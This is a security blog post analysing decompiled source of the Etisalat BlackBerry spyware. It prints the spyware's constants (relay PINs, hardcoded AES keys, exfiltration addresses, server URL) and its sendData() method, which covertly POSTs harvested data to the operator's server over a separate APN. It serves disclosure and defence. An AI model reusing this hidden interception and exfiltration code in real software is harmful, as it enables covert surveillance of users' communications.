[Update: I've released a whitepaper analyzing the Etisalat BlackBerry spyware and tool to reveal the Etisalat BlackBerry spyware on the handheld]
The recent reporting of the badly deployed piece of spyware on Etisalat’s BlackBerry users prompted me to write this post. I managed to grab a copy of the Registration.jar file and went to work analyzing the source code. The code itself was not obfuscated so it was quite simple to review once unpacked and decompiled by the Java Decompiler. Chris Eng has done a great job at dissecting the class files so I’m not going to re-state what he did. Take a look at his article.
I was most keen on observing how the spyware behaved and how a affected user would remove it. Before trying it on an actual device, I wanted to check if I could make it work on the BlackBerry emulator that comes with the Java Development Environment from RIM. Okay, so its going to take a while to download the JDE on my super-slow Internets connection. So while I wait, I’ll post some other interesting bits of information.
Hardcoded data
The source code has a lot of hardcoded references. Chris Eng noted that there were two possible BlackBerry PIN’s hardcoded into the source. They can be found in the Recv.class file. But more importantly, I wonder why they are hard coded when they have a perfectly fine set of constants declared. Taking a look at this constants class reveals quite a lot of interesting info:
public static final String Version = "4.9100"; public static final String Author = "Etisalat"; public static final String Copyright = "Copyright (c) by Author 2008/2009 - All rights reserved."; public static final String crlf = "\r\n"; public static final boolean autostart_intercept = false; public static final boolean use_smtp = false; public static final int smtp_port = 3001; public static final String http_url = "http://10.116.3.99:7095/bbupgr"; public static final String http_store = "/store"; public static final String http_reg = "/register"; public static final int def_max_tries = 8; public static final int retry_time = 30000; public static final boolean del_sent = true; public static final boolean bes_only = false; public static final boolean load_all = true; public static final boolean extended_header = false; public static final boolean get_phone_no = false; public static final boolean get_imsi = false; public static final boolean ss8_register = false; public static final long heartbeat = 0x36ee80L; public static final String code_grp = "Registration"; public static final boolean make_hidden = true; public static final boolean make_required = true; public static final String telco = "Etisalat"; public static final String relay1_pin = "206789ea"; public static final String relay2_pin = "205b04e4"; public static final String relay_addr = "Customer Service"; public static final String relay_name = "Customer Service"; public static final String relay_delim_beg = "-----BEGIN PGP SIGNATURE-----"; public static final String relay_delim_end = "-----END PGP SIGNATURE-----"; public static final String cmd_subject = "cmd_mail"; public static final boolean do_encrypt = true; public static final int aes_key_len = 32; public static final String aes_key_str1 = "01234567890123456789012345678912"; public static final String aes_key_str = "EtisalatIsAProviderForBlackBerry"; public static final String aes_key_str2 = "ImporantNetworkUpgardeforBBDevs"; public static final String reg_addr = "regbb@etisalat.ae"; public static final String reg_name = "Accounting Server"; public static final String reg_smtp = "mail.etisalat.ae"; public static final String central_addr = "etisalat_upgr@etisalat.ae"; public static final String central_name = "Registration Server"; public static final String central_smtp = "10.116.3.99"; public static final String central_apn = "bbt.ae"; public static final String central_apn_user = ""; public static final String central_apn_pw = ""; public static final String interceptor_addr = "bb_register@etislat.ae"; public static final String interceptor_name = "Registration";
You can clearly see the key strings that they plan on using and also a set of relay PINS. For some strange reason, even though they had the constants defined, they still resorted to hardcoding some values.
Different APN
Notably you can see that they use a totally different APN to transmit the data that they grab from your phone. The Transmit.class file is the workhorse. It contains the following methods:
- generateKey()
- encodeMsg()
- queueHTTP()
- queueSMTP()
- queueRegistration()
- queueCentral()
The queueHTTP() method makes use of the HTTPDeliver.class to send HTTP messages. This HTTPDeliver.class file contains the hardcoded reference to the new APN: bbt.ae
public boolean sendData(String url, String buf, boolean encrypt) { HttpConnection c; OutputStream os; boolean result; String _apn_; c = null; os = null; result = false; if("bbt.ae".trim().length() < 1) { _apn_ = ""; } else { _apn_ = ";deviceside=true;apn=" + "bbt.ae".trim(); if("".trim().length() > 0) _apn_ = _apn_ + ";tunnelauthusername=" + "".trim(); if("".trim().length() > 0) _apn_ = _apn_ + ";tunnelauthpassword=" + "".trim(); } try { c = (HttpConnection)Connector.open(url + _apn_); c.setRequestMethod("POST"); c.setRequestProperty("User-Agent", "Profile/MIDP-2.0 Configuration/CLDC-1.0"); c.setRequestProperty("Content-Language", "en-US"); c.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); URLEncodedPostData post_data = new URLEncodedPostData("iso-8859-1", false); post_data.append("data", buf); post_data.append("type", encrypt ? "gz" : "text"); os = c.openOutputStream(); os.write(post_data.getBytes()); os.flush(); int rc = c.getResponseCode(); if(rc == 200) result = true; } ... ...
I’ve snipped the rest of the code to preserve readbility.
The “encrypt” variable
There are two instances where a boolean variable called “encrypt” is used:
In Transmit.class:
private String encodeMsg(String message, boolean encrypt)
Its funny, but when the encodeMsg method is called from the Transmit class, it is called with the “encrypt” -> true parameter always. This is a bit redundant since the encodeMsg method encrypts all data anyway. As Chris Eng pointed out, they again use the hardcoded, static key “EtisalatIsAProviderForBlackBerry”.
In HTTPDeliver.class:
public boolean sendData(String url, String buf, boolean encrypt)
When the sendData() method is invoked, it is invoked using the “encrypt”-> true once again.
From sendData():
post_data.append("type", encrypt ? "gz" : "text");
In this case, however, it is meant to indicate whether the data will be GZIPped or not. As above, GZIP is done anyway, so this is a bit on the redundant side.
Nitpicking, I know, but you would expect a company like SS8 to write better code.
So since I’m still blessed with this <SARCASM>wonderfully fast</SARCASM> Internets connection, I will publish this post. Stay tuned for when I release the post on how I install the spyware, monitor its activities and possibly tell you how to remove it.


Discussion
Comments for “A look at Etisalat’s BlackBerry Interceptor”